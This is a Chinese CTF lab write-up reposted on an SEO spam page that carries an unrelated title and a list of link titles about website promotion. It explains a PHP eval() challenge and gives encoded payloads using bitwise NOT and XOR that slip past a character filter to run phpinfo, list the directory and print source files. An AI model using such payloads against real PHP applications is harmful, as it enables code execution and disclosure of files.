当前位置: 首页 > news >正文

使用阿里云建网站女生学市场营销好吗

使用阿里云建网站,女生学市场营销好吗,做网站优化价格,做股权众筹的网站进入靶场 代码 <?php // 高亮显示当前 PHP 文件的源代码&#xff0c;通常用于调试或展示代码&#xff0c;方便用户查看代码逻辑 highlight_file(__FILE__);// 从 GET 请求中获取名为 _ 的参数值&#xff0c;并赋值给变量 $_ // 符号用于抑制可能出现的错误信息&#xff…

进入靶场

代码

<?php
// 高亮显示当前 PHP 文件的源代码,通常用于调试或展示代码,方便用户查看代码逻辑
highlight_file(__FILE__);// 从 GET 请求中获取名为 '_' 的参数值,并赋值给变量 $_
// @ 符号用于抑制可能出现的错误信息,若未传递该参数则不会抛出警告
$_ = @$_GET['_'];// 使用正则表达式检查变量 $_ 中是否包含特定字符
// 这些字符包括空字符(\x00)、数字(0 - 9)、单引号(')、双引号(")、反引号(`)、美元符号($)、
// 与符号(&)、逗号(,)、点号(.)、竖线(|)、左方括号([)、左花括号({)以及字母 defgops 等
// 若包含这些字符,则终止脚本执行并输出提示信息
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )die('rosé will not do it');// 对变量 $_ 进行小写转换,然后使用 count_chars 函数统计其中不同字符的数量
// 0x3 是 count_chars 函数的模式参数,表示返回一个数组,数组的键是字符的 ASCII 码,值是该字符出现的次数
// 接着获取该数组的长度,即不同字符的数量
// 如果不同字符的数量超过 13(0xd 是十六进制的 13),则终止脚本执行并输出提示信息
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )die('you are so close, omg');// 如果上述两个条件都不满足,则将变量 $_ 作为 PHP 代码进行执行
// 这种做法存在严重的安全风险,因为用户可以通过 GET 请求注入恶意代码
eval($_);
?>

总结:绕过正则匹配

字符数量不超过13

1,取反

phpinfo() 是 PHP 里一个十分实用的内置函数,它的主要作用是输出当前 PHP 环境的详细配置信息。

<?php
print(urlencode(~'phpinfo'));
?>
%8F%97%8F%96%91%99%90 
/?_=(~%8F%97%8F%96%91%99%90)();

 

2,分析禁用函数

看看怎么使用没有被禁止的函数读取目录

<?php
echo(urlencode(~'print_r'));
echo nl2br("\n");
echo(urlencode(~'scandir'));
echo nl2br("\n");
echo(urlencode(~'.'));
?>

再测测长度 

<?php
print(strlen(count_chars(strtolower('(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)((%D1)^(%FF)));'), 0x3)));
?>

超了

使用pscadi来代替ntr 

((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff)); 

 

直接读不了,肯定超长度,end()获得数组的最后一个值 

show_source(end(scandir('.')))

((%8D%8D%8D%8D%8D%8D%9E%8D)^(%9A%8D%8D%8D%8D%8D%9B%8D)^(%9A%9A%9E%9B%99%96%96%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%8D%9E%8D)^(%8D%99%8D)^(%9A%96%9B)^(%FF%FF%FF))(((%8D%9E%8D%9E%8D%8D%8D)^(%9A%9B%8D%99%8D%8D%9A)^(%9B%99%9E%96%9B%96%9A)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

 

flag{664629c2-9083-4685-800a-f6ccbc5d0608}

 

http://www.dinnco.com/news/8810.html

相关文章:

  • 广州网站建设求职简历域名注册 阿里云
  • 专业集团网站建设创意营销
  • 磁县专业做网站网站推广优化的方法
  • 公司为什么要做网站网站建设优化推广系统
  • 建筑案例网站谷歌seo最好的公司
  • 男女同房做爰网站新手如何找cps推广渠道
  • 雅虎做网站推广做小程序的公司
  • 怎样联系自己建设网站域名免费注册0元注册
  • 百度站内搜索提升关键词排名百度资源平台
  • 网站开发上传视频教程宁波seo怎么做引流推广
  • 济南企业如何建网站搜索引擎关键词快速优化
  • 免费做网站用什么软件广州网络推广公司有哪些
  • 在线销售型的网站软文技巧
  • 无网站营销上海最新事件
  • 昆明网站建设yn119seo搜索价格
  • 济南一哥网站建设公司seo网站推广服务
  • dede免费手机网站模板下载游戏推广员是诈骗吗
  • 做心灵鸡汤网站栏目排版app推广公司
  • 用英文介绍购物网站刷赞业务推广网站
  • 自适应网站建设价格网站seo外包价格
  • mvc 做网站20条优化措施
  • 苏州工业园区做政务网站的公司枣庄网络推广seo
  • 桂林市政府网六年级上册数学优化设计答案
  • 个人备案网站能用公司东莞全网推广
  • 竞网做的网站怎么样建一个企业网站多少钱
  • 万户网络web工作流广州网站优化服务
  • WordPress多功能主题Cosy北京网络seo推广公司
  • 自己做返利网站网站推广软件排名
  • 平面设计师如何做网站什么是网络营销
  • wordpress编辑文章图片文字对齐关键词优化的价格查询